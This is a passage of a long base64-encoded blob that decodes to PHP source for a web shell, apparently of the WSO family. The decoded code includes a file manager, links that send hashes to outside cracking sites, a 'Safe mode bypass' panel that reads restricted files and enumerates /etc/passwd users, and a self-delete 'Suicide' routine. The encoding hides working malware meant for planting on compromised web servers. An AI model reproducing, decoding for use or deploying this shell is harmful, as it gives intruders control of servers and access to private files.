T8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwoJJGRpcnMgPSAkZmlsZXMgPSAkbGlua3MgPSBhcnJheSgpOwoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7Cglmb3IoJGk9MDskaTwkbjskaSsrKSB7CgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CgkJJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksCgkJCQkJICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLAoJCQkJCSAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQoJCQkJCSk7CgkJaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCgkJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJCWVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKCQkJJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnKSk7CgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKCX0KCSRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKCWZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsKCQlpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykKCQkJcmV0dXJuIHN0cmNtcCgkYVskR0xPQkFMU1snc29ydCddWzBdXSwgJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJCWVsc2UKCQkJcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKCX0KCXVzb3J0KCRmaWxlcywgImNtcCIpOwoJdXNvcnQoJGRpcnMsICJjbXAiKTsKCXVzb3J0KCRsaW5rcywgImNtcCIpOwoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRsaW5rcywgJGZpbGVzKTsKCSRsID0gMDsKCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7CgkJZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQoJCQkuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOwoJCSRsID0gJGw/MDoxOwoJfQoJPz4KCTx0cj48dGQgY29sc3Bhbj03PgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pPz4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnPz4nPgoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPjw/cGhwIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7Pz48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGU8L29wdGlvbj48P3BocCB9Pz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvdGQ+PC90cj4KCTwvZm9ybT48L3RhYmxlPjwvZGl2PgoJPD9waHAKCXByaW50Rm9vdGVyKCk7Cn0KLy8gRmlsZSBtYW5hZ2VyIGVuZCAtLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBTdHJpbmcgdG9vbHMgZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319Cgkkc3RyaW5nVG9vbHMgPSBhcnJheSgKCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCgkJJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLAoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCgkJJ21kNSBoYXNoJyA9PiAnbWQ1JywKCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLAoJCSdDUkMzMicgPT4gJ2NyYzMyJywKCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCgkJJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywKCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCgkJJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLAoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywKCQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsCgkJJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKCQknU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsCgkpOwoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSAwOwoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7Cglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsKCX0KCWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CgkJPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjx0YWJsZSBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9JzAnIHdpZHRoPSc1MCUnPgoJCQk8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+TmFtZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPScqJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPgoJCQk8L3RhYmxlPjwvZm9ybT4iOwoJZnVuY3Rpb24gcHJpbnRSZWN1cnNpdmVHbG9iKCRwYXRoKSB7CgkJaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQoJCQkkcGF0aC49Jy8nOwoJCSRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOwoJCWlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7CgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7CgkJCQlpZihAaXNfZGlyKCRpdGVtKSl7CgkJCQkJaWYoJHBhdGghPSRpdGVtKQoJCQkJCQlwcmludFJlY3Vyc2l2ZUdsb2IoJGl0ZW0pOwoJCQkJfSBlbHNlIHsKCQkJCQlpZihlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJwb3MoZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpCgkJCQkJCWVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCRpdGVtKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7CgkJCQl9CgkJCX0KCQl9Cgl9CglpZihAJF9QT1NUWydwMyddKQoJCXByaW50UmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7CgllY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+CgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdCcgdmFsdWU9J2ZpbmQnLz4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2Zha2VuYW1lZ2VuZXJhdG9yLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5mYWtlbmFtZWdlbmVyYXRvci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFjay5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuaGFzaGNyYWNrLmNvbS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0ndG9vbHM0bm9vYnMuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3LnRvb2xzNG5vb2JzLmNvbS9vbmxpbmVfcGhwX2Z1bmN0aW9ucy8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1ZGVjcnlwdGVyLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdhcnRsZWJlZGV2LnJ1JyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL3d3dy5hcnRsZWJlZGV2LnJ1L3Rvb2xzL2RlY29kZXIvJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQk8L2Zvcm0+PC9kaXY+IjsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gU3RyaW5nIHRvb2xzIGVuZCAtLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBTYWZlIG1vZGUgZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgewoJJHRlbXA9Jyc7CglvYl9zdGFydCgpOwoJc3dpdGNoKCRfUE9TVFsncDEnXSkgewoJCWNhc2UgMToKCQkJJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOwoJCQlpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpewoJCQkJZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOwoJCQkJdW5saW5rKCR0ZW1wKTsKCQkJfSBlbHNlCgkJCQllY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsKCQkJYnJlYWs7CgkJY2FzZSAyOgoJCQkkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOwoJCQlpZiggaXNfYXJyYXkoJGZpbGVzKSApCgkJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQoJCQkJCWVjaG8gJGZpbGVuYW1lLiJcbiI7CgkJCWJyZWFrOwoJCWNhc2UgMzoKCQkJJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLlNFTEZfUEFUSCk7CgkJCWN1cmxfZXhlYygkY2gpOwoJCQlicmVhazsKCQljYXNlIDQ6CgkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKCQkJaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOwoJCQlpbmNsdWRlKCRfUE9TVFsncDInXSk7CgkJCWJyZWFrOwoJCWNhc2UgNToKCQkJZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CgkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CgkJCQlpZiAoJHVpZCkKCQkJCQllY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSA2OgoJCQlpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsKCQkJJHN0cmVhbSA9IGltYXBfb3BlbigkX1BPU1RbJ3AyJ10sICIiLCAiIik7CgkJCWlmICgkc3RyZWFtID09IEZBTFNFKQoJCQkJYnJlYWs7CgkJCWVjaG8gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOwoJCQlpbWFwX2Nsb3NlKCRzdHJlYW0pOwoJCQlicmVhazsKCX0KCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CglwcmludEhlYWRlcigpOwoJZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PGJyPjxzcGFuPkltYXBfb3BlbiAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI2Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJaWYoJHRlbXApCgkJZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuJHRlbXAuJzwvcHJlPic7CgllY2hvICc8L2Rpdj4nOwoJcHJpbnRGb290ZXIoKTsKfQovLyBTYWZlIG1vZGUgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBMb2dvdXQgZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7Cgl1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsKCWVjaG8gJ2J5ZSEnOwp9Ci8vIExvZ291dCBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBTdWljaWRlIGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsKCXByaW50SGVhZGVyKCk7CglpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIHsKCQlpZihAdW5saW5rKFNFTEZfUEFUSCkpCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwoJCWVsc2UKCQkJZWNobyAndW5saW5rIGVycm9yISc7Cgl9CgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CglwcmludEZvb3RlcigpOwp9Ci8v